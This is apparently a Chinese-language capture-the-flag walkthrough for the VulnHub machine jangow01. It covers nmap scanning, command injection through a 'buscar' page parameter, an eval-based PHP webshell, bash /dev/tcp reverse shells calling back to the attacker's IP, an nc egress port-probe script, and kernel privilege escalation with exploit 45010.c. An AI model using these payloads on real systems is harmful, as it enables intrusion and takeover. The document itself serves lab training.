一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:jangow01(10.0.2.4)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/jangow-101,754/
二、信息收集
使用nmap主机发现,靶机ip为10.0.2.4
使用nmap进行端口扫描,发现靶机开放端口:21、80
打开网站如下
把网站的按钮都点一边,发现页面
在buscar后面输入ls命令,发现命令执行漏洞
三、漏洞利用
尝试写入webshell:echo '<?php @eval($_POST["x"]);?>)' >> shell.php
使用蚁剑连接,连接成功,低权限用户
反弹shell,发现报错
bash -i >& /dev/tcp/10.0.2.15/9999 0>&1
查看/bin/sh
指向,可以看到/bin/sh指向dash,而我们使用的shell环境为bash
ls -al /bin/sh
使用bash -c
指令进行反弹shell,反弹失败,可以猜测存在端口限制
bash -c 'bash -i >& /dev/tcp/10.0.2.15/9999 0>&1'
由于本人技术有限,看了其他大佬的解题思路,可以在kali上把1-65535所有端口绑定到某个端口上,并对其监听
sudo iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 1234
在靶机上运行如下脚本进行探测(注意格式需要为Unix格式!)
# !/bin/bash
for i in $(seq 1 65535)
do
timeout 1 nc -vz 10.0.2.15 $i && echo "$i open" >> out.txt || echo "$i closed" >> out.txt;
done
echo "all port done"
执行完毕,在同一文件夹下出现out.txt文件,发现开放端口443
重启kali,消除端口绑定命令,使用443端口进行反弹shell,反弹成功
四、提权
查看系统内核版本,发现靶机的内核版本是Ubuntu 4.4.0-31,应该可以内核漏洞提权
less /proc/version
搜索对应的内核版本的提权脚本
searchsploit ubuntu 4.4.0-31
选择45010.c脚本
searchsploit -m 45010.c
使用蚁剑将脚本上传到靶机上,编译执行,提权成功
获取flag